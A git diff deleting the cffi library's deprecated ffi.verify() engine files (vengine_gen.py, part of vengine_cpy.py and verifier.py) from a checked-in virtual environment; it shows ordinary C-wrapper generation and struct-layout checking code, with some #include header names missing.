prnt('}') - -cffimod_header = r''' -#include -#include - -/* this block of #ifs should be kept exactly identical between - c/_cffi_backend.c, cffi/vengine_cpy.py, cffi/vengine_gen.py - and cffi/_cffi_include.h */ -#if defined(_MSC_VER) -# include /* for alloca() */ -# if _MSC_VER < 1600 /* MSVC < 2010 */ - typedef __int8 int8_t; - typedef __int16 int16_t; - typedef __int32 int32_t; - typedef __int64 int64_t; - typedef unsigned __int8 uint8_t; - typedef unsigned __int16 uint16_t; - typedef unsigned __int32 uint32_t; - typedef unsigned __int64 uint64_t; - typedef __int8 int_least8_t; - typedef __int16 int_least16_t; - typedef __int32 int_least32_t; - typedef __int64 int_least64_t; - typedef unsigned __int8 uint_least8_t; - typedef unsigned __int16 uint_least16_t; - typedef unsigned __int32 uint_least32_t; - typedef unsigned __int64 uint_least64_t; - typedef __int8 int_fast8_t; - typedef __int16 int_fast16_t; - typedef __int32 int_fast32_t; - typedef __int64 int_fast64_t; - typedef unsigned __int8 uint_fast8_t; - typedef unsigned __int16 uint_fast16_t; - typedef unsigned __int32 uint_fast32_t; - typedef unsigned __int64 uint_fast64_t; - typedef __int64 intmax_t; - typedef unsigned __int64 uintmax_t; -# else -# include -# endif -# if _MSC_VER < 1800 /* MSVC < 2013 */ -# ifndef __cplusplus - typedef unsigned char _Bool; -# endif -# endif -# define _cffi_float_complex_t _Fcomplex /* include for it */ -# define _cffi_double_complex_t _Dcomplex /* include for it */ -#else -# include -# if (defined (__SVR4) && defined (__sun)) || defined(_AIX) || defined(__hpux) -# include -# endif -# define _cffi_float_complex_t float _Complex -# define _cffi_double_complex_t double _Complex -#endif - -#define _cffi_from_c_double PyFloat_FromDouble -#define _cffi_from_c_float PyFloat_FromDouble -#define _cffi_from_c_long PyLong_FromLong -#define _cffi_from_c_ulong PyLong_FromUnsignedLong -#define _cffi_from_c_longlong PyLong_FromLongLong -#define _cffi_from_c_ulonglong PyLong_FromUnsignedLongLong -#define _cffi_from_c__Bool PyBool_FromLong - -#define _cffi_to_c_double PyFloat_AsDouble -#define _cffi_to_c_float PyFloat_AsDouble - -#define _cffi_from_c_int_const(x) \ - (((x) > 0) ? \ - ((unsigned long long)(x) <= (unsigned long long)LONG_MAX) ? \ - PyLong_FromLong((long)(x)) : \ - PyLong_FromUnsignedLongLong((unsigned long long)(x)) : \ - ((long long)(x) >= (long long)LONG_MIN) ? \ - PyLong_FromLong((long)(x)) : \ - PyLong_FromLongLong((long long)(x))) - -#define _cffi_from_c_int(x, type) \ - (((type)-1) > 0 ? /* unsigned */ \ - (sizeof(type) < sizeof(long) ? \ - PyLong_FromLong((long)x) : \ - sizeof(type) == sizeof(long) ? \ - PyLong_FromUnsignedLong((unsigned long)x) : \ - PyLong_FromUnsignedLongLong((unsigned long long)x)) : \ - (sizeof(type) <= sizeof(long) ? \ - PyLong_FromLong((long)x) : \ - PyLong_FromLongLong((long long)x))) - -#define _cffi_to_c_int(o, type) \ - ((type)( \ - sizeof(type) == 1 ? (((type)-1) > 0 ? (type)_cffi_to_c_u8(o) \ - : (type)_cffi_to_c_i8(o)) : \ - sizeof(type) == 2 ? (((type)-1) > 0 ? (type)_cffi_to_c_u16(o) \ - : (type)_cffi_to_c_i16(o)) : \ - sizeof(type) == 4 ? (((type)-1) > 0 ? (type)_cffi_to_c_u32(o) \ - : (type)_cffi_to_c_i32(o)) : \ - sizeof(type) == 8 ? (((type)-1) > 0 ? (type)_cffi_to_c_u64(o) \ - : (type)_cffi_to_c_i64(o)) : \ - (Py_FatalError("unsupported size for type " #type), (type)0))) - -#define _cffi_to_c_i8 \ - ((int(*)(PyObject *))_cffi_exports[1]) -#define _cffi_to_c_u8 \ - ((int(*)(PyObject *))_cffi_exports[2]) -#define _cffi_to_c_i16 \ - ((int(*)(PyObject *))_cffi_exports[3]) -#define _cffi_to_c_u16 \ - ((int(*)(PyObject *))_cffi_exports[4]) -#define _cffi_to_c_i32 \ - ((int(*)(PyObject *))_cffi_exports[5]) -#define _cffi_to_c_u32 \ - ((unsigned int(*)(PyObject *))_cffi_exports[6]) -#define _cffi_to_c_i64 \ - ((long long(*)(PyObject *))_cffi_exports[7]) -#define _cffi_to_c_u64 \ - ((unsigned long long(*)(PyObject *))_cffi_exports[8]) -#define _cffi_to_c_char \ - ((int(*)(PyObject *))_cffi_exports[9]) -#define _cffi_from_c_pointer \ - ((PyObject *(*)(char *, CTypeDescrObject *))_cffi_exports[10]) -#define _cffi_to_c_pointer \ - ((char *(*)(PyObject *, CTypeDescrObject *))_cffi_exports[11]) -#define _cffi_get_struct_layout \ - ((PyObject *(*)(Py_ssize_t[]))_cffi_exports[12]) -#define _cffi_restore_errno \ - ((void(*)(void))_cffi_exports[13]) -#define _cffi_save_errno \ - ((void(*)(void))_cffi_exports[14]) -#define _cffi_from_c_char \ - ((PyObject *(*)(char))_cffi_exports[15]) -#define _cffi_from_c_deref \ - ((PyObject *(*)(char *, CTypeDescrObject *))_cffi_exports[16]) -#define _cffi_to_c \ - ((int(*)(char *, CTypeDescrObject *, PyObject *))_cffi_exports[17]) -#define _cffi_from_c_struct \ - ((PyObject *(*)(char *, CTypeDescrObject *))_cffi_exports[18]) -#define _cffi_to_c_wchar_t \ - ((wchar_t(*)(PyObject *))_cffi_exports[19]) -#define _cffi_from_c_wchar_t \ - ((PyObject *(*)(wchar_t))_cffi_exports[20]) -#define _cffi_to_c_long_double \ - ((long double(*)(PyObject *))_cffi_exports[21]) -#define _cffi_to_c__Bool \ - ((_Bool(*)(PyObject *))_cffi_exports[22]) -#define _cffi_prepare_pointer_call_argument \ - ((Py_ssize_t(*)(CTypeDescrObject *, PyObject *, char **))_cffi_exports[23]) -#define _cffi_convert_array_from_object \ - ((int(*)(char *, CTypeDescrObject *, PyObject *))_cffi_exports[24]) -#define _CFFI_NUM_EXPORTS 25 - -typedef struct _ctypedescr CTypeDescrObject; - -static void *_cffi_exports[_CFFI_NUM_EXPORTS]; -static PyObject *_cffi_types, *_cffi_VerificationError; - -static int _cffi_setup_custom(PyObject *lib); /* forward */ - -static PyObject *_cffi_setup(PyObject *self, PyObject *args) -{ - PyObject *library; - int was_alive = (_cffi_types != NULL); - (void)self; /* unused */ - if (!PyArg_ParseTuple(args, "OOO", &_cffi_types, &_cffi_VerificationError, - &library)) - return NULL; - Py_INCREF(_cffi_types); - Py_INCREF(_cffi_VerificationError); - if (_cffi_setup_custom(library) < 0) - return NULL; - return PyBool_FromLong(was_alive); -} - -union _cffi_union_alignment_u { - unsigned char m_char; - unsigned short m_short; - unsigned int m_int; - unsigned long m_long; - unsigned long long m_longlong; - float m_float; - double m_double; - long double m_longdouble; -}; - -struct _cffi_freeme_s { - struct _cffi_freeme_s *next; - union _cffi_union_alignment_u alignment; -}; - -#ifdef __GNUC__ - __attribute__((unused)) -#endif -static int _cffi_convert_array_argument(CTypeDescrObject *ctptr, PyObject *arg, - char **output_data, Py_ssize_t datasize, - struct _cffi_freeme_s **freeme) -{ - char *p; - if (datasize < 0) - return -1; - - p = *output_data; - if (p == NULL) { - struct _cffi_freeme_s *fp = (struct _cffi_freeme_s *)PyObject_Malloc( - offsetof(struct _cffi_freeme_s, alignment) + (size_t)datasize); - if (fp == NULL) - return -1; - fp->next = *freeme; - *freeme = fp; - p = *output_data = (char *)&fp->alignment; - } - memset((void *)p, 0, (size_t)datasize); - return _cffi_convert_array_from_object(p, ctptr, arg); -} - -#ifdef __GNUC__ - __attribute__((unused)) -#endif -static void _cffi_free_array_arguments(struct _cffi_freeme_s *freeme) -{ - do { - void *p = (void *)freeme; - freeme = freeme->next; - PyObject_Free(p); - } while (freeme != NULL); -} - -static int _cffi_init(void) -{ - PyObject *module, *c_api_object = NULL; - - module = PyImport_ImportModule("_cffi_backend"); - if (module == NULL) - goto failure; - - c_api_object = PyObject_GetAttrString(module, "_C_API"); - if (c_api_object == NULL) - goto failure; - if (!PyCapsule_CheckExact(c_api_object)) { - PyErr_SetNone(PyExc_ImportError); - goto failure; - } - memcpy(_cffi_exports, PyCapsule_GetPointer(c_api_object, "cffi"), - _CFFI_NUM_EXPORTS * sizeof(void *)); - - Py_DECREF(module); - Py_DECREF(c_api_object); - return 0; - - failure: - Py_XDECREF(module); - Py_XDECREF(c_api_object); - return -1; -} - -#define _cffi_type(num) ((CTypeDescrObject *)PyList_GET_ITEM(_cffi_types, num)) - -/**********/ -''' diff --git a/venv/Lib/site-packages/cffi/vengine_gen.py b/venv/Lib/site-packages/cffi/vengine_gen.py deleted file mode 100644 index 0209c794ac739c948b21a397d3da0d8f4ba49fe2..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cffi/vengine_gen.py +++ /dev/null @@ -1,679 +0,0 @@ -# -# DEPRECATED: implementation for ffi.verify() -# -import sys, os -import types - -from . import model -from .error import VerificationError - - -class VGenericEngine: - _class_key = 'g' - _gen_python_module = False - - def __init__(self, verifier): - self.verifier = verifier - self.ffi = verifier.ffi - self.export_symbols = [] - self._struct_pending_verification = {} - - def patch_extension_kwds(self, kwds): - # add 'export_symbols' to the dictionary. Note that we add the - # list before filling it. When we fill it, it will thus also show - # up in kwds['export_symbols']. - kwds.setdefault('export_symbols', self.export_symbols) - - def find_module(self, module_name, path, so_suffixes): - for so_suffix in so_suffixes: - basename = module_name + so_suffix - if path is None: - path = sys.path - for dirname in path: - filename = os.path.join(dirname, basename) - if os.path.isfile(filename): - return filename - - def collect_types(self): - pass # not needed in the generic engine - - def _prnt(self, what=''): - self._f.write(what + '\n') - - def write_source_to_f(self): - prnt = self._prnt - # first paste some standard set of lines that are mostly '#include' - prnt(cffimod_header) - # then paste the C source given by the user, verbatim. - prnt(self.verifier.preamble) - # - # call generate_gen_xxx_decl(), for every xxx found from - # ffi._parser._declarations. This generates all the functions. - self._generate('decl') - # - # on Windows, distutils insists on putting init_cffi_xyz in - # 'export_symbols', so instead of fighting it, just give up and - # give it one - if sys.platform == 'win32': - if sys.version_info >= (3,): - prefix = 'PyInit_' - else: - prefix = 'init' - modname = self.verifier.get_module_name() - prnt("void %s%s(void) { }\n" % (prefix, modname)) - - def load_library(self, flags=0): - # import it with the CFFI backend - backend = self.ffi._backend - # needs to make a path that contains '/', on Posix - filename = os.path.join(os.curdir, self.verifier.modulefilename) - module = backend.load_library(filename, flags) - # - # call loading_gen_struct() to get the struct layout inferred by - # the C compiler - self._load(module, 'loading') - - # build the FFILibrary class and instance, this is a module subclass - # because modules are expected to have usually-constant-attributes and - # in PyPy this means the JIT is able to treat attributes as constant, - # which we want. - class FFILibrary(types.ModuleType): - _cffi_generic_module = module - _cffi_ffi = self.ffi - _cffi_dir = [] - def __dir__(self): - return FFILibrary._cffi_dir - library = FFILibrary("") - # - # finally, call the loaded_gen_xxx() functions. This will set - # up the 'library' object. - self._load(module, 'loaded', library=library) - return library - - def _get_declarations(self): - lst = [(key, tp) for (key, (tp, qual)) in - self.ffi._parser._declarations.items()] - lst.sort() - return lst - - def _generate(self, step_name): - for name, tp in self._get_declarations(): - kind, realname = name.split(' ', 1) - try: - method = getattr(self, '_generate_gen_%s_%s' % (kind, - step_name)) - except AttributeError: - raise VerificationError( - "not implemented in verify(): %r" % name) - try: - method(tp, realname) - except Exception as e: - model.attach_exception_info(e, name) - raise - - def _load(self, module, step_name, **kwds): - for name, tp in self._get_declarations(): - kind, realname = name.split(' ', 1) - method = getattr(self, '_%s_gen_%s' % (step_name, kind)) - try: - method(tp, realname, module, **kwds) - except Exception as e: - model.attach_exception_info(e, name) - raise - - def _generate_nothing(self, tp, name): - pass - - def _loaded_noop(self, tp, name, module, **kwds): - pass - - # ---------- - # typedefs: generates no code so far - - _generate_gen_typedef_decl = _generate_nothing - _loading_gen_typedef = _loaded_noop - _loaded_gen_typedef = _loaded_noop - - # ---------- - # function declarations - - def _generate_gen_function_decl(self, tp, name): - assert isinstance(tp, model.FunctionPtrType) - if tp.ellipsis: - # cannot support vararg functions better than this: check for its - # exact type (including the fixed arguments), and build it as a - # constant function pointer (no _cffi_f_%s wrapper) - self._generate_gen_const(False, name, tp) - return - prnt = self._prnt - numargs = len(tp.args) - argnames = [] - for i, type in enumerate(tp.args): - indirection = '' - if isinstance(type, model.StructOrUnion): - indirection = '*' - argnames.append('%sx%d' % (indirection, i)) - context = 'argument of %s' % name - arglist = [type.get_c_name(' %s' % arg, context) - for type, arg in zip(tp.args, argnames)] - tpresult = tp.result - if isinstance(tpresult, model.StructOrUnion): - arglist.insert(0, tpresult.get_c_name(' *r', context)) - tpresult = model.void_type - arglist = ', '.join(arglist) or 'void' - wrappername = '_cffi_f_%s' % name - self.export_symbols.append(wrappername) - if tp.abi: - abi = tp.abi + ' ' - else: - abi = '' - funcdecl = ' %s%s(%s)' % (abi, wrappername, arglist) - context = 'result of %s' % name - prnt(tpresult.get_c_name(funcdecl, context)) - prnt('{') - # - if isinstance(tp.result, model.StructOrUnion): - result_code = '*r = ' - elif not isinstance(tp.result, model.VoidType): - result_code = 'return ' - else: - result_code = '' - prnt(' %s%s(%s);' % (result_code, name, ', '.join(argnames))) - prnt('}') - prnt() - - _loading_gen_function = _loaded_noop - - def _loaded_gen_function(self, tp, name, module, library): - assert isinstance(tp, model.FunctionPtrType) - if tp.ellipsis: - newfunction = self._load_constant(False, tp, name, module) - else: - indirections = [] - base_tp = tp - if (any(isinstance(typ, model.StructOrUnion) for typ in tp.args) - or isinstance(tp.result, model.StructOrUnion)): - indirect_args = [] - for i, typ in enumerate(tp.args): - if isinstance(typ, model.StructOrUnion): - typ = model.PointerType(typ) - indirections.append((i, typ)) - indirect_args.append(typ) - indirect_result = tp.result - if isinstance(indirect_result, model.StructOrUnion): - if indirect_result.fldtypes is None: - raise TypeError("'%s' is used as result type, " - "but is opaque" % ( - indirect_result._get_c_name(),)) - indirect_result = model.PointerType(indirect_result) - indirect_args.insert(0, indirect_result) - indirections.insert(0, ("result", indirect_result)) - indirect_result = model.void_type - tp = model.FunctionPtrType(tuple(indirect_args), - indirect_result, tp.ellipsis) - BFunc = self.ffi._get_cached_btype(tp) - wrappername = '_cffi_f_%s' % name - newfunction = module.load_function(BFunc, wrappername) - for i, typ in indirections: - newfunction = self._make_struct_wrapper(newfunction, i, typ, - base_tp) - setattr(library, name, newfunction) - type(library)._cffi_dir.append(name) - - def _make_struct_wrapper(self, oldfunc, i, tp, base_tp): - backend = self.ffi._backend - BType = self.ffi._get_cached_btype(tp) - if i == "result": - ffi = self.ffi - def newfunc(*args): - res = ffi.new(BType) - oldfunc(res, *args) - return res[0] - else: - def newfunc(*args): - args = args[:i] + (backend.newp(BType, args[i]),) + args[i+1:] - return oldfunc(*args) - newfunc._cffi_base_type = base_tp - return newfunc - - # ---------- - # named structs - - def _generate_gen_struct_decl(self, tp, name): - assert name == tp.name - self._generate_struct_or_union_decl(tp, 'struct', name) - - def _loading_gen_struct(self, tp, name, module): - self._loading_struct_or_union(tp, 'struct', name, module) - - def _loaded_gen_struct(self, tp, name, module, **kwds): - self._loaded_struct_or_union(tp) - - def _generate_gen_union_decl(self, tp, name): - assert name == tp.name - self._generate_struct_or_union_decl(tp, 'union', name) - - def _loading_gen_union(self, tp, name, module): - self._loading_struct_or_union(tp, 'union', name, module) - - def _loaded_gen_union(self, tp, name, module, **kwds): - self._loaded_struct_or_union(tp) - - def _generate_struct_or_union_decl(self, tp, prefix, name): - if tp.fldnames is None: - return # nothing to do with opaque structs - checkfuncname = '_cffi_check_%s_%s' % (prefix, name) - layoutfuncname = '_cffi_layout_%s_%s' % (prefix, name) - cname = ('%s %s' % (prefix, name)).strip() - # - prnt = self._prnt - prnt('static void %s(%s *p)' % (checkfuncname, cname)) - prnt('{') - prnt(' /* only to generate compile-time warnings or errors */') - prnt(' (void)p;') - for fname, ftype, fbitsize, fqual in tp.enumfields(): - if (isinstance(ftype, model.PrimitiveType) - and ftype.is_integer_type()) or fbitsize >= 0: - # accept all integers, but complain on float or double - prnt(' (void)((p->%s) << 1);' % fname) - else: - # only accept exactly the type declared. - try: - prnt(' { %s = &p->%s; (void)tmp; }' % ( - ftype.get_c_name('*tmp', 'field %r'%fname, quals=fqual), - fname)) - except VerificationError as e: - prnt(' /* %s */' % str(e)) # cannot verify it, ignore - prnt('}') - self.export_symbols.append(layoutfuncname) - prnt('intptr_t %s(intptr_t i)' % (layoutfuncname,)) - prnt('{') - prnt(' struct _cffi_aligncheck { char x; %s y; };' % cname) - prnt(' static intptr_t nums[] = {') - prnt(' sizeof(%s),' % cname) - prnt(' offsetof(struct _cffi_aligncheck, y),') - for fname, ftype, fbitsize, fqual in tp.enumfields(): - if fbitsize >= 0: - continue # xxx ignore fbitsize for now - prnt(' offsetof(%s, %s),' % (cname, fname)) - if isinstance(ftype, model.ArrayType) and ftype.length is None: - prnt(' 0, /* %s */' % ftype._get_c_name()) - else: - prnt(' sizeof(((%s *)0)->%s),' % (cname, fname)) - prnt(' -1') - prnt(' };') - prnt(' return nums[i];') - prnt(' /* the next line is not executed, but compiled */') - prnt(' %s(0);' % (checkfuncname,)) - prnt('}') - prnt() - - def _loading_struct_or_union(self, tp, prefix, name, module): - if tp.fldnames is None: - return # nothing to do with opaque structs - layoutfuncname = '_cffi_layout_%s_%s' % (prefix, name) - # - BFunc = self.ffi._typeof_locked("intptr_t(*)(intptr_t)")[0] - function = module.load_function(BFunc, layoutfuncname) - layout = [] - num = 0 - while True: - x = function(num) - if x < 0: break - layout.append(x) - num += 1 - if isinstance(tp, model.StructOrUnion) and tp.partial: - # use the function()'s sizes and offsets to guide the - # layout of the struct - totalsize = layout[0] - totalalignment = layout[1] - fieldofs = layout[2::2] - fieldsize = layout[3::2] - tp.force_flatten() - assert len(fieldofs) == len(fieldsize) == len(tp.fldnames) - tp.fixedlayout = fieldofs, fieldsize, totalsize, totalalignment - else: - cname = ('%s %s' % (prefix, name)).strip() - self._struct_pending_verification[tp] = layout, cname - - def _loaded_struct_or_union(self, tp): - if tp.fldnames is None: - return # nothing to do with opaque structs - self.ffi._get_cached_btype(tp) # force 'fixedlayout' to be considered - - if tp in self._struct_pending_verification: - # check that the layout sizes and offsets match the real ones - def check(realvalue, expectedvalue, msg): - if realvalue != expectedvalue: - raise VerificationError( - "%s (we have %d, but C compiler says %d)" - % (msg, expectedvalue, realvalue)) - ffi = self.ffi - BStruct = ffi._get_cached_btype(tp) - layout, cname = self._struct_pending_verification.pop(tp) - check(layout[0], ffi.sizeof(BStruct), "wrong total size") - check(layout[1], ffi.alignof(BStruct), "wrong total alignment") - i = 2 - for fname, ftype, fbitsize, fqual in tp.enumfields(): - if fbitsize >= 0: - continue # xxx ignore fbitsize for now - check(layout[i], ffi.offsetof(BStruct, fname), - "wrong offset for field %r" % (fname,)) - if layout[i+1] != 0: - BField = ffi._get_cached_btype(ftype) - check(layout[i+1], ffi.sizeof(BField), - "wrong size for field %r" % (fname,)) - i += 2 - assert i == len(layout) - - # ---------- - # 'anonymous' declarations. These are produced for anonymous structs - # or unions; the 'name' is obtained by a typedef. - - def _generate_gen_anonymous_decl(self, tp, name): - if isinstance(tp, model.EnumType): - self._generate_gen_enum_decl(tp, name, '') - else: - self._generate_struct_or_union_decl(tp, '', name) - - def _loading_gen_anonymous(self, tp, name, module): - if isinstance(tp, model.EnumType): - self._loading_gen_enum(tp, name, module, '') - else: - self._loading_struct_or_union(tp, '', name, module) - - def _loaded_gen_anonymous(self, tp, name, module, **kwds): - if isinstance(tp, model.EnumType): - self._loaded_gen_enum(tp, name, module, **kwds) - else: - self._loaded_struct_or_union(tp) - - # ---------- - # constants, likely declared with '#define' - - def _generate_gen_const(self, is_int, name, tp=None, category='const', - check_value=None): - prnt = self._prnt - funcname = '_cffi_%s_%s' % (category, name) - self.export_symbols.append(funcname) - if check_value is not None: - assert is_int - assert category == 'const' - prnt('int %s(char *out_error)' % funcname) - prnt('{') - self._check_int_constant_value(name, check_value) - prnt(' return 0;') - prnt('}') - elif is_int: - assert category == 'const' - prnt('int %s(long long *out_value)' % funcname) - prnt('{') - prnt(' *out_value = (long long)(%s);' % (name,)) - prnt(' return (%s) <= 0;' % (name,)) - prnt('}') - else: - assert tp is not None - assert check_value is None - if category == 'var': - ampersand = '&' - else: - ampersand = '' - extra = '' - if category == 'const' and isinstance(tp, model.StructOrUnion): - extra = 'const *' - ampersand = '&' - prnt(tp.get_c_name(' %s%s(void)' % (extra, funcname), name)) - prnt('{') - prnt(' return (%s%s);' % (ampersand, name)) - prnt('}') - prnt() - - def _generate_gen_constant_decl(self, tp, name): - is_int = isinstance(tp, model.PrimitiveType) and tp.is_integer_type() - self._generate_gen_const(is_int, name, tp) - - _loading_gen_constant = _loaded_noop - - def _load_constant(self, is_int, tp, name, module, check_value=None): - funcname = '_cffi_const_%s' % name - if check_value is not None: - assert is_int - self._load_known_int_constant(module, funcname) - value = check_value - elif is_int: - BType = self.ffi._typeof_locked("long long*")[0] - BFunc = self.ffi._typeof_locked("int(*)(long long*)")[0] - function = module.load_function(BFunc, funcname) - p = self.ffi.new(BType) - negative = function(p) - value = int(p[0]) - if value < 0 and not negative: - BLongLong = self.ffi._typeof_locked("long long")[0] - value += (1 << (8*self.ffi.sizeof(BLongLong))) - else: - assert check_value is None - fntypeextra = '(*)(void)' - if isinstance(tp, model.StructOrUnion): - fntypeextra = '*' + fntypeextra - BFunc = self.ffi._typeof_locked(tp.get_c_name(fntypeextra, name))[0] - function = module.load_function(BFunc, funcname) - value = function() - if isinstance(tp, model.StructOrUnion): - value = value[0] - return value - - def _loaded_gen_constant(self, tp, name, module, library): - is_int = isinstance(tp, model.PrimitiveType) and tp.is_integer_type() - value = self._load_constant(is_int, tp, name, module) - setattr(library, name, value) - type(library)._cffi_dir.append(name) - - # ---------- - # enums - - def _check_int_constant_value(self, name, value): - prnt = self._prnt - if value <= 0: - prnt(' if ((%s) > 0 || (long)(%s) != %dL) {' % ( - name, name, value)) - else: - prnt(' if ((%s) <= 0 || (unsigned long)(%s) != %dUL) {' % ( - name, name, value)) - prnt(' char buf[64];') - prnt(' if ((%s) <= 0)' % name) - prnt(' sprintf(buf, "%%ld", (long)(%s));' % name) - prnt(' else') - prnt(' sprintf(buf, "%%lu", (unsigned long)(%s));' % - name) - prnt(' sprintf(out_error, "%s has the real value %s, not %s",') - prnt(' "%s", buf, "%d");' % (name[:100], value)) - prnt(' return -1;') - prnt(' }') - - def _load_known_int_constant(self, module, funcname): - BType = self.ffi._typeof_locked("char[]")[0] - BFunc = self.ffi._typeof_locked("int(*)(char*)")[0] - function = module.load_function(BFunc, funcname) - p = self.ffi.new(BType, 256) - if function(p) < 0: - error = self.ffi.string(p) - if sys.version_info >= (3,): - error = str(error, 'utf-8') - raise VerificationError(error) - - def _enum_funcname(self, prefix, name): - # "$enum_$1" => "___D_enum____D_1" - name = name.replace('$', '___D_') - return '_cffi_e_%s_%s' % (prefix, name) - - def _generate_gen_enum_decl(self, tp, name, prefix='enum'): - if tp.partial: - for enumerator in tp.enumerators: - self._generate_gen_const(True, enumerator) - return - # - funcname = self._enum_funcname(prefix, name) - self.export_symbols.append(funcname) - prnt = self._prnt - prnt('int %s(char *out_error)' % funcname) - prnt('{') - for enumerator, enumvalue in zip(tp.enumerators, tp.enumvalues): - self._check_int_constant_value(enumerator, enumvalue) - prnt(' return 0;') - prnt('}') - prnt() - - def _loading_gen_enum(self, tp, name, module, prefix='enum'): - if tp.partial: - enumvalues = [self._load_constant(True, tp, enumerator, module) - for enumerator in tp.enumerators] - tp.enumvalues = tuple(enumvalues) - tp.partial_resolved = True - else: - funcname = self._enum_funcname(prefix, name) - self._load_known_int_constant(module, funcname) - - def _loaded_gen_enum(self, tp, name, module, library): - for enumerator, enumvalue in zip(tp.enumerators, tp.enumvalues): - setattr(library, enumerator, enumvalue) - type(library)._cffi_dir.append(enumerator) - - # ---------- - # macros: for now only for integers - - def _generate_gen_macro_decl(self, tp, name): - if tp == '...': - check_value = None - else: - check_value = tp # an integer - self._generate_gen_const(True, name, check_value=check_value) - - _loading_gen_macro = _loaded_noop - - def _loaded_gen_macro(self, tp, name, module, library): - if tp == '...': - check_value = None - else: - check_value = tp # an integer - value = self._load_constant(True, tp, name, module, - check_value=check_value) - setattr(library, name, value) - type(library)._cffi_dir.append(name) - - # ---------- - # global variables - - def _generate_gen_variable_decl(self, tp, name): - if isinstance(tp, model.ArrayType): - if tp.length_is_unknown(): - prnt = self._prnt - funcname = '_cffi_sizeof_%s' % (name,) - self.export_symbols.append(funcname) - prnt("size_t %s(void)" % funcname) - prnt("{") - prnt(" return sizeof(%s);" % (name,)) - prnt("}") - tp_ptr = model.PointerType(tp.item) - self._generate_gen_const(False, name, tp_ptr) - else: - tp_ptr = model.PointerType(tp) - self._generate_gen_const(False, name, tp_ptr, category='var') - - _loading_gen_variable = _loaded_noop - - def _loaded_gen_variable(self, tp, name, module, library): - if isinstance(tp, model.ArrayType): # int a[5] is "constant" in the - # sense that "a=..." is forbidden - if tp.length_is_unknown(): - funcname = '_cffi_sizeof_%s' % (name,) - BFunc = self.ffi._typeof_locked('size_t(*)(void)')[0] - function = module.load_function(BFunc, funcname) - size = function() - BItemType = self.ffi._get_cached_btype(tp.item) - length, rest = divmod(size, self.ffi.sizeof(BItemType)) - if rest != 0: - raise VerificationError( - "bad size: %r does not seem to be an array of %s" % - (name, tp.item)) - tp = tp.resolve_length(length) - tp_ptr = model.PointerType(tp.item) - value = self._load_constant(False, tp_ptr, name, module) - # 'value' is a which we have to replace with - # a if the N is actually known - if tp.length is not None: - BArray = self.ffi._get_cached_btype(tp) - value = self.ffi.cast(BArray, value) - setattr(library, name, value) - type(library)._cffi_dir.append(name) - return - # remove ptr= from the library instance, and replace - # it by a property on the class, which reads/writes into ptr[0]. - funcname = '_cffi_var_%s' % name - BFunc = self.ffi._typeof_locked(tp.get_c_name('*(*)(void)', name))[0] - function = module.load_function(BFunc, funcname) - ptr = function() - def getter(library): - return ptr[0] - def setter(library, value): - ptr[0] = value - setattr(type(library), name, property(getter, setter)) - type(library)._cffi_dir.append(name) - -cffimod_header = r''' -#include -#include -#include -#include -#include /* XXX for ssize_t on some platforms */ - -/* this block of #ifs should be kept exactly identical between - c/_cffi_backend.c, cffi/vengine_cpy.py, cffi/vengine_gen.py - and cffi/_cffi_include.h */ -#if defined(_MSC_VER) -# include /* for alloca() */ -# if _MSC_VER < 1600 /* MSVC < 2010 */ - typedef __int8 int8_t; - typedef __int16 int16_t; - typedef __int32 int32_t; - typedef __int64 int64_t; - typedef unsigned __int8 uint8_t; - typedef unsigned __int16 uint16_t; - typedef unsigned __int32 uint32_t; - typedef unsigned __int64 uint64_t; - typedef __int8 int_least8_t; - typedef __int16 int_least16_t; - typedef __int32 int_least32_t; - typedef __int64 int_least64_t; - typedef unsigned __int8 uint_least8_t; - typedef unsigned __int16 uint_least16_t; - typedef unsigned __int32 uint_least32_t; - typedef unsigned __int64 uint_least64_t; - typedef __int8 int_fast8_t; - typedef __int16 int_fast16_t; - typedef __int32 int_fast32_t; - typedef __int64 int_fast64_t; - typedef unsigned __int8 uint_fast8_t; - typedef unsigned __int16 uint_fast16_t; - typedef unsigned __int32 uint_fast32_t; - typedef unsigned __int64 uint_fast64_t; - typedef __int64 intmax_t; - typedef unsigned __int64 uintmax_t; -# else -# include -# endif -# if _MSC_VER < 1800 /* MSVC < 2013 */ -# ifndef __cplusplus - typedef unsigned char _Bool; -# endif -# endif -# define _cffi_float_complex_t _Fcomplex /* include for it */ -# define _cffi_double_complex_t _Dcomplex /* include for it */ -#else -# include -# if (defined (__SVR4) && defined (__sun)) || defined(_AIX) || defined(__hpux) -# include -# endif -# define _cffi_float_complex_t float _Complex -# define _cffi_double_complex_t double _Complex -#endif -''' diff --git a/venv/Lib/site-packages/cffi/verifier.py b/venv/Lib/site-packages/cffi/verifier.py deleted file mode 100644 index 96baadb6f767c696cf12951d33fbb04405f9fb51..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cffi/verifier.py +++ /dev/null @@ -1,306 +0,0 @@ -# -# DEPRECATED: implementation for ffi.verify() -# -import sys, os, binascii, shutil, io -from . import __version_verifier_modules__ -from . import ffiplatform -from .error import VerificationError - -if sys.version_info >= (3, 3): - import importlib.machinery - def _extension_suffixes(): - return importlib.machinery.EXTENSION_SUFFIXES[:] -else: - import imp - def _extension_suffixes(): - return [suffix for suffix, _, type in imp.get_suffixes() - if type == imp.C_EXTENSION] - - -if sys.version_info >= (3,): - NativeIO = io.StringIO -else: - class NativeIO(io.BytesIO): - def write(self, s): - if isinstance(s, unicode): - s = s.encode('ascii') - super().write(s) - - -class Verifier: - - def __init__(self, ffi, preamble, tmpdir=None, modulename=None, - ext_package=None, tag='', force_generic_engine=False, - source_extension='.c', flags=None, relative_to=None, **kwds): - if ffi._parser._uses_new_feature: - raise VerificationError( - "feature not supported with ffi.verify(), but only " - "with ffi.set_source(): %s" % (ffi._parser._uses_new_feature,)) - self.ffi = ffi - self.preamble = preamble - if not modulename: - flattened_kwds = ffiplatform.flatten(kwds) - vengine_class = _locate_engine_class(ffi, force_generic_engine) - self._vengine = vengine_class(self) - self._vengine.patch_extension_kwds(kwds) - self.flags = flags - self.kwds = self.make_relative_to(kwds, relative_to) - # - if modulename: - if tag: - raise TypeError("can't specify both 'modulename' and 'tag'") - else: - key = '\x00'.join(['%d.%d' % sys.version_info[:2], - __version_verifier_modules__, - preamble, flattened_kwds] + - ffi._cdefsources) - if sys.version_info >= (3,): - key = key.encode('utf-8') - k1 = hex(binascii.crc32(key[0::2]) & 0xffffffff) - k1 = k1.lstrip('0x').rstrip('L') - k2 = hex(binascii.crc32(key[1::2]) & 0xffffffff) - k2 = k2.lstrip('0').rstrip('L') - modulename = '_cffi_%s_%s%s%s' % (tag, self._vengine._class_key, - k1, k2) - suffix = 